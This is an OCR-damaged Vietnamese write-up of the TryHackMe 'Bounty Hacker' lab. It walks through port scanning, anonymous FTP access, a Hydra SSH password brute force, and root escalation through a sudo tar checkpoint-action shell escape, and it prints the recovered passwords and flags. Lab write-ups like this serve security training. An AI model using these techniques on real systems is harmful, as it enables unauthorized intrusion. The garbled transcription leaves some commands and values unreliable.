Server thuc hién khai thac: Bounty Hacker

https://tryhackme.com/room/cowboyvhacker

Thoéng tin dia chi hién tai:

- Ipserver:10.10.192.220
- Ipkali:10.4.43.108

Tién hanh thu th3p théng tin
- Cacporttcp

nMap -vv -T4 -p- -sV -0 -Pn 10.10.192.220

Nmap scan report for 10.10.192.220

Host is up, received user-set (0.39s latency).
Scanned at 2022-08-25 05:27:38 EDT for 3928s
Not shown: 55529 filtered tcp ports (no-response), 10003 closed tcp ports (reset)

PORT  STATE SERVICE REASON VERSION

21/tcp open Ttp syn-ack ttl 61 vsftpd 3.0.3

22/tcp open ssh syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))

Uptime guess: 23.941 days (since Mon Aug 1 07:58:28 2022)
TCP Sequence Prediction: Difficulty=259 (Good luck!)

IP ID Seque Generation: All zeros

Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux kernel

Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3928.47 seconds

Raw packets sent: 399892 (17.599MB) | Rcvd: 36334 (6.515MB)

Nhu vay, server chay 3 service:

o Ftpversion3.03
o sshversion OpenSSH 7.2p2
o http port 80 apache 2.4.18

- Cacportudp

nmap -vv -T4 -sU -0 -Pn 10.10.192.220


https://tryhackme.com/room/cowboyhacker

Nmap scan report for 10.10.192.220

Host is up, received user-set (0.38s latency).

Scanned at 2022-08-25 05:30:19 EDT for 101s

Not shown: 999 open|filtered udp ports (no-response)

PORT  STATE SERVICE REASON

22/udp closed ssh port-unreach ttl 61

Too many fingerprints match this host to give specific 05 details
TCP/IP fingerprint:

SCAN (V=7 .92%E=4%D=8/25%0T=%(T=%CU=22%PV=Y%DS=4%DC=1%G6=N%TM=63074190%P=x86_64-pc-linux-gnu)
SEQ(II=I)

UL (R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=6%RIPCK=G%RUCK=G%RUD=G)
IE (R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops

Read data files from: /fusr/bin/../share/nmap
0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.97 seconds

Raw packets sent: 2062 (96.658KB) | Rcvd: 13 (1.708KB)

Chi quét thay port 22/udp nhung port nay lai bi déng nén cho qua phan nay.

- Kiém tra thu muc an

C @ O A& 10.10.192.220 =

Spike:"..Oh look you're finally up. It's about time, 3 more minutes and you were going out with the garbage."

at:"Now you told Spike here you can hack any computer in the system. We'd let Ed do it but we need her working on something else and you were getting real bold in that
bar back there. Now take a look around and see if you can get that root the system and don't ask any questions you know you don't need the answer to, if you're lucky I'll
even make you some bell peppers and beef."

Ed:"I'm Ed. You should have access to the device they are talking about on your computer. Edward and Ein will be on the main deck if you need us!"

Faye:"..hmph.."

Do server cé chay dich vu http port 80 nén sé tién hanh kiém tra webserver nay.

gobuster dir -w common-web-content.txt -u 10.10.192.220 -t 25 -x py,sh,txt,php




05:41:49 Starting gobuster in directory enumeration mode

.htpasswd
.hta.txt
.htaccess
.htpasswd.txt
.htaccess.py
.hta.php
.htpasswd.php
.hta
.htaccess.sh
.htpasswd.py
.hta.py
.htaccess. txt
.htpasswd.sh
.hta.sh
.htaccess.php
/images g - [--> http://10.10.192.220/images/]
/index.html
/server-status

22/08/25 05:47:51 Finished

G day diém dang chy y duy nhat chi 13 mot status code 301 chuyén hudng thui. Truy

cap kiém tra thor:

O & 10.10.192.220

Index of /images

Name Last modified Size Description

¥ Parent Directory -
@ crew.jpg 2020-06-05 14:56 608K

Apache/2.4.18 (Ubuntu) Server at 10.10.192.220 Port 80

& day child mot ta&m 3nh va khdng ¢ gi quan trong khac.

Kiém tra m3 ngudn van khéng thay théng tin quan trong n3o dugc bd x4t.

source:http://10.10.

<html>
<style>
h3 {text-align: center;}
p {text-align: center;}
.img-container {text-align: center;}
</style>
<div class='img-container'>
<img src="/images/crew.jpg" tag alt="Crew Picture" style="width:1000;height:563">
</div>

<body>
<h3>Spike:"..0h Llook you're finally up. It's about time, 3 more minutes and you were going out with the garbage."</h3=>

<hr>

<h3=Jet:"Now you told Spike here you can hack any computer in the system. We'd let Ed do it but we need her working on something else and you were getting real beld in tha
<hr>

<h3>Ed:"I'm Ed. You should have access to the device they are talking about on your computer. Edward and Ein will be on the main deck if you need us!"</h3>

<hr>

<h3>Faye: "..hmph. ."</h3>

</body>
</himl>



Nhu vay I3 giai doan thu thap théng tin d3 xong, nhu cac bai trudec van thudng hay dyua
v30 service http clOa server dé khai thac. Tuy nhién, bai nay thi Iai ko tim thdy manh

moi kha nghi ndo nén cé kha nang lién quan dén 2 service con |ai.
Ly thuyét vé FTP:

Giao thic FTP (File Transfer Protocol) Ia mét giao thirc client-server, dugc s dung
nham muc dich trao déi di¥ liéu gitra cdc may tinh v&i nhau. Chi tiét hon, FTP server 13
nai luu trr nhirng File d liéu dugc chia sé vdi cadc FTP clients. M&i FTP client sé dugc
cdp mot account dé dang nhap vao FTP server. Khi mét FTP client mudn ddng nhép
vao FTP server dé tai file dir liéu vé may hodc thém File md&i vao FTP server, ho sé sir

dung account dugc c3p dé thuc hién diéu dé.

Trén giao dién dong lénh, dé tai file tir FTP server vé may tinh, chiing ta dung |énh “get”,

va dé dua File tlr may tinh 1&n FTP server, ching ta sé dung Iénh “put”.

Mot diém can lvu y nta 13 cdc FTP server thudng cé 1 account dac biét 13
anonymous:anonymous (cd username va password déu |3 anonymous). Account nay
cho phép mét nguai khdng phai FTP client dugc phép truy cdp vao ndi dung dugc luu

tr&r bén trong FTP server.

Vay ching ta sé test thir xem server Bounty Hacker ¢ cho phép ta lam diéu dé khéng?

Théng qua cau Iénh nmap vdi Flag -sC dé tim 16i.
(Thdng tin thay déi khi bat may lai — dia chiip may server: 10.10.221.138)

nmap -v -T4 -p 21 -sC10.10.221.238



Nmap scan report for 10.10.221.238
Host is up (0.38s latency).

PORT  STATE SERVICE

21/tcp open Ttp

| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| Can't get directory listing: TIMEOUT

| ftp-syst:

|  STAT:

| FTP server status:

| Connected to ::ffff:10.4.43.108
| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit
| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable

| End of status

NSE: Script Post-scanning.

Initiating NSE at 11:11

Completed NSE at 11:11, 0.00s elapsed

Initiating NSE at 11:11

Completed NSE at 11:11, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 37.80 seconds
Raw packets sent: 5 (196B) | Rcvd: 2 (84B)

Nhu vay la server nay cho phép dang nhap véi account dac biét anonymous. Tai sao
can truy cdp vao FTP server? Vi FTP cé thé chita nhirng théng tin nhay cdm lién quan
dén hé thdng cho phép khai thac sdu hon. N6 gidng nhu nhirng ndi dung dugc chira

bén trong nhirng hidden directories trén web da thuc hanh & nhirng bai trudce vay.

Do dé, ta sé dang nhap vdi ftp vdi account anonymous.

® /home/kali/Desktop
ftp 10.10.221.238
Connected to 10.10.221.238.
220 (vsFTPd 3.0.3)
Name (10.10.221.238:kali): anonymous

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.
ftp> |}

LGc ndy xem thdr ¢ nhirng tap tin ndo dang tén tai trén hé théng, s& dung 1&nh Is.

Trong mot vai truding hop cd thé x3y ra tinh trang 16i khi ré 1énh trén Ftp, cu thé nhu “



229 Entering Extended Passive Mode (J/[port_number/)” thi chi can dung |énh ‘passive
off”1a xong. (tham khao thém tai link).

ftp> 1s
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.

-rW-rw-r-- 1 ftp ftp 418 Jun 07
-rW-rw-r-- 1 ftp ftp 68 Jun @7
226 Directory send OK.

C4 2 t4p tin nén tai vé dé kiém tra, s&r dung lénh get.

ftp> get locks.txt
local: locks.txt remote: locks.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
10096 | ¥hkkkkkkkkkkkkdkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
226 Transfer complete.
418 bytes received in 60:00 (0.90 KiB/s)
ftp> aet task.txt
local: task.txt remote: task.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
68 0.83 KiB/s 00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.13 KiB/s)
ftp> I

Thdr dung 1&nh cd di chuyén xung quanh xem cé thé di chuyén qua dir khac duoc

khong.

ftp=> cd /

250 Directory successfully changed.
ftp> cd

250 Directory successfully changed.
ftp> |}

K&t qua khdng cé gi thay déi cho 1am. nén quay lai kiém tra ndi dung 2 tap tin thu thap
dugc trén may kali.
cat task.txt

.rotect Vicious.
lan for Red Eye pickup on the moon.



https://tryhackme.com/forum/thread/61d36f77eb3bbf056a906e3f

& day ta thdy dong cubi cung cé thé 13 tén tac gid “lin”, ndi dung 2 ddng trén cd thé tam

th&i cho qua.

] /home/kali/Desktop

cat locks.txt
rEddrAGON
ReDdrdgOnSynd!cat3
Dr@gOn$yn9icat3
R3DDr460NSYndIC@Te
ReddRAGON
R3dDragOnSyndlcdte
dRa6oN5YNDiCATE
ReDDR4gOn5ynDIcdte
R3Dr4g0n2044
RedDrdgonSyndlcat3
R3dDRaGONsyndlc@T3
Syndlc4teDr@gln
reddRAgON
REddRaGONSyNdIc47e
DraboN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$yndlc473
DrAgoN5ynD1cATE
ReDdragOn$yndlcate
Dr@gOnsyND1C4Te
RedDr@gonSyn9ic4ie
REd$yNdIc47e
dr@goN5YNd1c@y 3
rEDdrAGOnSyNDiCat3
r3ddr@gen
ReDSyndlca7e

V3i ndi dung trong locks.txt nhin qua I3 mdt chudi nhirng ky tu la dugc ghép véi nhav,
tva nhu cdc ma base hodc code van hay g3p. Nhung néu dé y k§ han may tur ndy ¢é
dang gan giéng nhu cach biéu thi khac nhau cla cach viét “ red dragon” -> dodn mét

trong nhi*ng cai nay chinh 13 password dé didng nhap admin.
O phan nmap ban dau, ta cé 2 service kha nghi cé kha ndng ddng nhap:

- Dangnhaptrénweb

- BP3ang nhdp qua ssh

V3i céi dau, tirc ddng nhap trén web dudng nhu bat kha thi do khi dung gobuster dé
kiém tra, ta hdu nhu khéng tim thay chd ndo dé nhap username:password. Do dd, kh3

thi nhat chinh 13 st dung dich vu ssh.



PE t3n codng dictionary vao SSH, ching ta sé sir dung céng cu Hydra, mét céng cu
dictionary attack v6 cung manh mé cé thé dugc s&r dung cho ca web va SSH. Hydra cé

giao dién dong 1énh va dugc cai dt sdn trén Kali Linux.

Ching ta sé tao ra mét File néi chra nhirng username kha nghi nhat cho viéc ssh

thuong gap nhu sau:

® /home/kali/Desktop
cat username.txt

lin
root
admin
vicious

Va nhirng password cd kha nang x3dy ra chinh Ia file locks.txt phia trén.
Théng bdo thay déi dia chi ip server muc tiéu sau khi tat mady: 10.10.1.94
Cau lénh sr dung:

hydra -v -L username.txt -P locks.txt 10.10.1.94 ssh

o Vv:Verbose mode: In ra cac cap username va password vUa dugc thr
o L:Username list

o P:Password list

o 10.10.1.94: dia chiip muc tiéu

o Ssh:dich vu khai thac



Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-26 02:37:05
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 104 login tries (1:4/p:26), ~7 tries per task
[DATA] attacking ssh://10.10.1.94:22/

[VERBOSE] Resolving addresses ... [VERBOSE] resolving done

[INFO] Testing if password authentication is supported by ssh://1in@l0.10.1.94:
[INFO] Successful, password authentication is supported by ssh://10.10.1.94:22
[ERROR] could not connect to target port 22: Socket error: Connection reset
[ERROR] ssh protocol error

[VERBOSE] Disabled child 13 because of too many errors

[ERROR] could not connect to target port 22: Socket error: Connection reset b
[ERROR] ssh protocol error

[VERBOSE] Disabled child 15 because of too many errors

[22][ssh] host: 10.10.1.94 login: lin password: RedDrd4gonSyndlcat3

[ERROR] could not connect to target port 22: Socket error: Connection reset
[ERROR] ssh protocol error

[VERBOSE] Retrying connection for child 9

[ERROR] could not connect to target port 22: Socket error: Connection reset
[ERROR] ssh protocol error

[VERBOSE] Retrying connection for child 2

[ERROR] could not connect to target port 22: Socket : disconnected

[ERROR] ssh protocol error

[VERBOSE] Retrying connection for child 2

[ERROR] could not connect to target port 22: Socket : Connection reset
[ERROR] ssh protocol error

[VERBOSE] Retrying connection for child 2

[ERROR] could not connect to target port 22: Socket : Connection reset
[ERROR] ssh protocol error

[VERBOSE] Retrying connection for child 18

[ERROR] could not connect to target port 22: Socket : disconnected

[ERROR] ssh protocol error

[VERBOSE] Retrying connection for child 1

[ERROR] could not connect to target port 22: Socket : Connection reset
[ERROR] ssh protocol error

[VERBOSE] Retrying connection for child 6

Sau mdt khoadn thoi gian thi phat hién c3p lin-RedDragonSyndicat3 d3a dugc test

thadnh c6ng. Do dé, dung tai khodn ndy dé dadng nhap ssh vao server.

® /home/kali/Desktop

1in@le.10.1.94
The henticity of host '10.10.1.94 (10.10.1.94)' can't be established.
ED25519 key fTingerprint is SHA256:Y1400z+ukdhTyG8/c5KvgKdvm+K1+gLSvokSys75gPU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[Tingerprint])? vyes
Warning: Permanently added '10.10.1.94' (ED25519) to the list of known hosts.
1in@le.10.1.94's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86 64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun 7 1234 rom 192.168.0.14
lin@bountyhacker:

lin@bountyhacker:

lin




Nhu vay, tlre 13 ching ta d3 dang nhdp thanh céng vao hé théng. Quay ra tim Flag cho
cac task.
lin@hountyﬁaéker: -la

total 12
drwxr-xr-¥x 2 1lin lin 40896 Jun 2020

drwxr-xr-x 19 lin lin 4096 Jun 7 2020
-rw-rw-r-- 1 lin lin 21 Jun 7 2020 user.txt
lin@bountyhacker: $ cat user.txt
THM{CRIM3 SyNd1C4T3}

Deploy the machine.
Mo answer needed

Find open ports on the machine
No answer needed

Who wrote the task list?
lin

What service can you bruteforce with the text file found?
SSH

What is the users password?
RedDr4gonSynd1cat3

user.txt

THM{CR1M3_SyNd1C4T3}

Vdi Flag cudi cung, tlrc root.txt yéu cdu ching ta phai leo thang ddc quyén 1én quyén

root cla hé théng. Kiém tra cdc quyén hién tai:

(Néu hé théng yéu c3u nhap password cho lin thi dé chinh 13 password dung ssh khi

nay).

lin@bountyhacker: $ sudo -1
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:

env_reset, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User 1in may run the following commands on bountyhacker:
(root) /bin/tar

Theo nhu théng tin, ching ta cé quyén st dung Iénh tar dudi phan quyén root (sudo).

Chuing ta s&rdung cdu l1&énh tir link sau dé ndng cap quyén.
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https://gtfobins.github.io/gtfobins/tar/

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to
access the file system, escalate or maintain privileged access.

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

lin@bountyhacker: $ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading */' from member names
#

# whoami
root

#1

Théng qua thuc thi cdu Iénh nhu trén, ta d3 cd thé leo 1én quyén root mét cach dé

dang. Va tim Flag cudi cing:

# cd /root

# 1s -la

total 40
root
root
root
root
root

.bash_history
.bashrc

.cache

.nano

.profile

root. txt
.selected editor
.ssh 3]

[ s

b e B B R i o R B B |

drwxr-xr-x root
-rwW-r--r-- root
-rwW-r--r-- root
-rwW-r--r-- root
root
# cat root.txt
THM{BOUN7Y hd4cK3r}

=

rook.txt

THM{8OUNTY_h4cK3r}
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